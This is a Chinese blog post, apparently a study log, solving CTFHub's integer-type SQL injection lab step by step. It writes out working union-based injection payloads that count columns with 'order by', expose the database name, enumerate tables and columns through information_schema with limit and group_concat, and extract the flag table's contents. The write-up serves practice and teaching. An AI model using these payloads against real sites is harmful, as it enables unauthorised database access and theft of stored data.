2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

"磨刀不误砍柴工"

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

题目一:SQL整数型注入

step 1:整理已知信息

已知本题为SQL整数型注入,故不需要进行提醒判断。

题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql 复制代码
1 order by 3 #
sql 复制代码
1 order by 2 #

可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①------缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②------用group_concat()一次爆出所有名称

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名------形如爆表名

payload①------此处只有一个列名

sql 复制代码
1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②------group_concat()

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql 复制代码
1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉

相关推荐
kingx38 小时前
BUGKU Make Me Cry 解题:curl 探测与 POST 路径参数构造
web安全·curl·bugku·路径遍历·参数构造
console.log('npc')10 小时前
Python第9课 类学习笔记,前端js语法对照
前端·python·学习
kingx311 小时前
DASCTF 02-cookies 解题:Flappy Bird 分数 Cookie 的 Base64+gzip 构造
web安全·php·base64·gzip解压·cookie伪造
艾莉丝努力练剑14 小时前
【AI大模型接入SDK】解决Unicode码转化以及界面变形问题
前端·c++·人工智能·学习·安全·架构
国科安芯16 小时前
可信的电流:ASP4644S2B电源模块与星载电子供应链网络安全防护体系
网络·安全·web安全·架构·芯片·抗辐射
谷哥的小弟17 小时前
Kali安装图文详解教程
网络安全·教程·kali
AI 编程助手GPT18 小时前
GPT 写 SQL:避免订单金额被重复统计
jvm·人工智能·sql·gpt
جيون داد ناالام ميづ19 小时前
四、MyBatis 核心原理:拆解 7 大组件 + SQL 执行全流程
数据库·sql·mybatis
旖旎夜光19 小时前
【C 语言】(二)模拟实现 strlen、strcpy、strcmp、strstr、memcpy、memmove
c语言·开发语言·笔记·学习
QXWZ_IA20 小时前
无人机巡检油气管道推荐什么型号:固定翼与多旋翼的载荷与航时权衡
人工智能·安全·无人机